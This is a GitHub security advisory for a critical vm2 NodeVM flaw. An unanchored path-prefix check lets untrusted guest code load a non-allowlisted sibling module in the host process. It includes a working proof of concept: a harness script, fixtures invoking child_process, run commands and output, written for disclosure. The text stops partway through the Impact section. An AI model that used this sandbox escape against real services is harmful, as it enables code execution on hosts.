GitHub Advisoryadvisory · npm
GHSA-5h3f-q97h-ccvc vm2: NodeVM custom resolution bypasses external path boundaries
CRITICAL
Official page ↗
- Aliases
- CVE-2026-100721
- Ecosystem
- npm
- Packages
- vm2
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Weaknesses
- CWE-863
- Reviewed
- 2026-10-05
Affected packages
• npm vm2: < 3.12.2 → fixed in 3.12.2
Description
Summary
At source revision `91034466bfb7f56b95fd48083ec6ca36d058f164` of vm2 3.11.8, an untrusted `NodeVM` guest can turn one allowlisted custom-resolved module into authorization for a separate file whose path merely shares the resolved path's string prefix. `LegacyResolver.customResolve` stores the resolved path in `this.externals` as `^` without an end or separator boundary; a later absolute require of a sibling such as `foo2/index.js` therefore passes the external check and is loaded through `hostRequire` when the configured context is `host`. The decisive attack loaded `foo` as `FOO_OK` and then executed the prefix-sharing sibling, which returned `PREFIX_PWN` after invoking `child_process`; an otherwise identical control denied the sibling with `ENOTFOUND`.
Technical Details
The affected configuration is a documented `NodeVM` use in which the embedder sets `require.external` to `{modules: ['foo'], transitive: false}`, supplies a custom resolver that returns the `foo` directory, sets a root directory, and uses `context: 'host'`. The guest controls the `require` specifiers and requests the allowlisted bare name before requesting the absolute path of the prefix-sharing sibling. The test entry point is deliberately outside the configured root so ordinary `node_modules` lookup misses and the custom resolver is consulted.
The source-to-sink path is:
• `NodeVM.run` executes guest code and creates the module-specific `require` function at `lib/nodevm.js:516-575`.
• `DefaultResolver.resolveFull` searches normal locations and then dispatches a miss to `customResolve` at `lib/resolver.js:227-316`.
• `LegacyResolver.customResolve` checks the bare specifier against the external cache, calls the embedder's resolver, and appends an authorization regular expression at `lib/resolver-compat.js:266-291`.
• `isPathAllowedForModule` falls back to `this.externals.some(regex => regex.test(path))` at `lib/resolver-compat.js:193-215`. The dynamically appended expression `^/…/node_modules/foo` also matches `/…/node_modules/foo2/index.js` because no path separator or end-of-string condition is required.
• `loadJS` uses `this.hostRequire(filename)` for a host-context file and only wraps the returned exports with `vm.readonly` at `lib/resolver-compat.js:255-263`. Top-level effects of the required file therefore occur in the host process before the exports are wrapped.
The relevant current code has the same flaw for both supported custom-resolver return shapes:
```js
if (typeof resolved === 'string') {
this.externals.push(new RegExp('^' + escapeRegExp(resolved)));
return this.loadAsFileOrDirectory(resolved, extList);
}
const {module=x, path: resolvedPath} = resolved;
this.externals.push(new RegExp('^' + escapeRegExp(resolvedPath)));
return this.loadNodeModules(module, [resolvedPath], extList);
```
The existing anchored bare-specifier matcher and the separator-aware `mod.path` check address different authorization states. They do not constrain the new `this.externals` entries created after custom resolution. The violated invariant is that a resolved allowlisted path may authorize only that exact path and its descendants after a path separator, never a sibling selected by raw string prefix.
PoV
The minimal guest operation is to load the configured bare name and then request the separate absolute sibling path:
```js
const foo = require('foo');
module.exports = {
foo,
sibling: require('/tmp/vm2-prefix-case/node_modules/foo2/index.js')
};
```
The corresponding embedder configuration is:
```js
const vm = new NodeVM({
require: {
external: {modules: ['foo'], transitive: false},
root: '/tmp/vm2-prefix-case',
context: 'host',
resolve(name) {
return name === 'foo'
? '/tmp/vm2-prefix-case/node_modules/foo'
: undefined;
}
}
});
```
The sibling is not itself allowlisted. Its successful load is the authorization violation; the `child_process` call in its top-level code demonstrates that the file ran in the host context rather than as guest-only code.
PoC
From a checkout of the repository, use the pinned revision and install its declared dependencies without lifecycle scripts:
```sh
git checkout 91034466bfb7f56b95fd48083ec6ca36d058f164
npm ci --ignore-scripts
```
Save the following harness as `/tmp/custom-resolve-prefix.js`:
```js
'use strict';
const path = require('path');
const { NodeVM } = require(process.cwd() + '/lib/main.js');
const [, , mode, fooIndexPath, siblingPath] = process.argv;
const fooDir = path.dirname(fooIndexPath);
const root = path.resolve(fooDir, '../..');
const entry = path.join(path.dirname(root), 'entry.js');
let customCalls = 0;
function runGuest(code) {
return new NodeVM({
require: {
external: {modules: ['foo'], transitive: false},
root,
context: 'host',
resolve(moduleName) {
if (moduleName === 'foo') {
customCalls++;
return fooDir;
}
return undefined;
}
}
}).run(code, entry);
}
const record = {mode, result: 'invalid'};
try {
if (mode === 'candidate') {
const output = runGuest(`
const foo = require('foo');
module.exports = {foo, sibling: require(${JSON.stringify(siblingPath)})};
`);
record.output = output;
if (output && output.foo === 'FOO_OK' && output.sibling === 'PREFIX_PWN') {
record.result = 'violation';
record.signal = 'prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN';
} else {
record.result = 'pass';
}
} else if (mode === 'control') {
try {
runGuest(`module.exports = require(${JSON.stringify(siblingPath)});`);
record.result = 'violation';
record.signal = 'prefix-sharing sibling loaded before custom resolution';
} catch (error) {
record.result = 'pass';
record.denial = String(error && (error.code || error.message) || error);
}
} else {
record.error = 'unknown mode';
}
} catch (error) {
record.result = 'invalid';
record.error = String(error && (error.stack || error.message) || error);
}
record.customCalls = customCalls;
console.log(JSON.stringify(record));
```
Create the two neutral fixture modules. The first is the configured module; the second is a separate sibling whose name shares the first module's path prefix:
```sh
mkdir -p /tmp/vm2-prefix-case/node_modules/foo /tmp/vm2-prefix-case/node_modules/foo2
cat > /tmp/vm2-prefix-case/node_modules/foo/index.js /tmp/vm2-prefix-case/node_modules/foo2/index.js <<'EOF'
'use strict';
module.exports = require('child_process').execFileSync(
process.execPath,
['-e', "process.stdout.write('PREFIX_PWN')"]
).toString();
EOF
```
Run the attack and then the negative control from the repository checkout:
```sh
node /tmp/custom-resolve-prefix.js candidate \
/tmp/vm2-prefix-case/node_modules/foo/index.js \
/tmp/vm2-prefix-case/node_modules/foo2/index.js
node /tmp/custom-resolve-prefix.js control \
/tmp/vm2-prefix-case/node_modules/foo/index.js \
/tmp/vm2-prefix-case/node_modules/foo2/index.js
```
The decisive results were:
```text
{"mode":"candidate","result":"violation","output":{"foo":"FOO_OK","sibling":"PREFIX_PWN"},"signal":"prefix-sharing sibling executed in host context after custom resolution: PREFIX_PWN","customCalls":1}
{"mode":"control","result":"pass","denial":"ENOTFOUND","customCalls":0}
```
Both executions completed successfully with return code 0 in an offline `node:bookworm` runtime. The attack reached `LegacyResolver.customResolve` once, while the control reached it zero times. The `foo2` fixture can use `child_process` only because the target loaded it through the host-context path; the same absolute request without the preceding custom resolution was denied.
Impact
This is a sandbox authorization bypass crossing from untrusted guest JavaScript into the host process. A service that runs attacker-controlled JavaScript in a `NodeVM` with a custom external resolver can be induced to load an existing prefix-sharing host file that was not allowlist…
Related
Alias · CVE (1)
- CVE-2026-100721 vm2 before 3.12.2 contains an authorization bypass in the NodeVM external-module resolver. vulnerability
Weakness · CWE (1)
- CWE-863 Incorrect Authorization weakness
References
- https://github.com/patriksimek/vm2/security/advisories/GHSA-5h3f-q97h-ccvc web
- https://nvd.nist.gov/vuln/detail/CVE-2026-100721 advisory
- https://github.com/patriksimek/vm2/commit/6ac3916da84e060c403e407b6b6318fcc66b0e72 web
- https://github.com/patriksimek/vm2/commit/91034466bfb7f56b95fd48083ec6ca36d058f164 web
- https://github.com/patriksimek/vm2/commit/ab4ee7d803e8c80155e9eb3672226bddbca4aa9c web
- https://github.com/patriksimek/vm2/commit/fb4977f6211da6cadffdf1f3a2017a826a21c51f web
- https://github.com/patriksimek/vm2 package
- https://github.com/patriksimek/vm2/releases/tag/v3.12.2 web
- https://www.vulncheck.com/advisories/vm2-before-3.12.2-authorization-bypass-via-custom-resolver web